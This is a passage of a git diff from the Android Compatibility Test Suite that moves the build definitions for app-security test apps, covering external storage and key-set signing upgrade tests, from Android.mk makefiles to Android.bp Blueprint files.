+
+java_library {
+    name: "CtsWriteExternalStorageWriteGiftLib",
+    srcs: ["src/com/android/cts/writeexternalstorageapp/WriteGiftTest.java"],
+    static_libs: ["CtsExternalStorageTestLib"],
+    libs: [
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
deleted file mode 100644
index 9adb60b..0000000
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	androidx.test.rules \
-	compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsWriteExternalStorageApp
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
deleted file mode 100644
index 397b49a..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
new file mode 100644
index 0000000..46398f7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningABadUpgradeB",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
deleted file mode 100644
index 8e05b63..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningABadUpgradeB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
new file mode 100644
index 0000000..7c1bfc2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningANoDefUpgradeB",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
deleted file mode 100644
index a5db503..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningANoDefUpgradeB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
new file mode 100644
index 0000000..955ba35
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningCBadAUpgradeAB",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-c",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
deleted file mode 100644
index 4e4ee5c..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningCBadAUpgradeAB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-c
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
new file mode 100644
index 0000000..baf93fc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetPermDefSigningA",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed cts-keyset-test-b
+android_test {
+    name: "CtsKeySetPermDefSigningB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-b",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
deleted file mode 100644
index 76ca560..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetPermDefSigningA
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed cts-keyset-test-b
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetPermDefSigningB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_DEX_PREOPT := false
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
new file mode 100644
index 0000000..74268ef
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetPermUseSigningA",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed cts-keyset-test-b
+android_test {
+    name: "CtsKeySetPermUseSigningB",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-b",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
deleted file mode 100644
index 19dba61..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetPermUseSigningA
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed cts-keyset-test-b
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetPermUseSigningB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
new file mode 100644
index 0000000..5ae5945
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsKeySetTestApp",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    libs: ["android.test.base.stubs"],
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
deleted file mode 100644
index fe22777..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-LOCAL_PACKAGE_NAME := CtsKeySetTestApp
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
new file mode 100644
index 0000000..bd38994
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.bp
@@ -0,0 +1,86 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed by cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningAUpgradeA",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed by cts-keyset-test-b
+android_test {
+    name: "CtsKeySetSigningBUpgradeA",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-b",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed by cts-keyset-test-ec-a
+android_test {
+    name: "CtsKeySetSigningEcAUpgradeA",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-ec-a",
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+//apks signed by cts-keyset-test-a and cts-keyset-test-b
+android_test {
+    name: "CtsKeySetSigningAAndBUpgradeA",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    additional_certificates: [":cts-keyset-test-b"],
+    dex_preopt: {
+        enabled: false,
+    },
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
deleted file mode 100644
index cb08b44..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/uA/Android.mk
+++ /dev/null
@@ -1,68 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed by cts-keyset-test-a
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeA
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed by cts-keyset-test-b
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningBUpgradeA
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_DEX_PREOPT := false
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed by cts-keyset-test-ec-a
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningEcAUpgradeA
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-ec-a
-LOCAL_DEX_PREOPT := false
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-#apks signed by cts-keyset-test-a and cts-keyset-test-b
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAAndBUpgradeA
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_DEX_PREOPT := false
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
new file mode 100644
index 0000000..c6f9bed
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningAUpgradeAAndB",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
deleted file mode 100644
index 3dd4747..0000000
--- a/hostsidetests/appsecurity/test-apps/keysets/uAB/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#apks signed cts-keyset-test-a
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-LOCAL_PACKAGE_NAME := CtsKeySetSigningAUpgradeAAndB
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
new file mode 100644
index 0000000..1e31c12
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//apks signed cts-keyset-test-a
+android_test {
+    name: "CtsKeySetSigningAUpgradeAOrB",
+    defaults: ["cts_support_defaults"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    certificate: ":cts-keyset-test-a",
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/uAuB/Android.mk
deleted file mode 100644
index 7598c5b..0000000
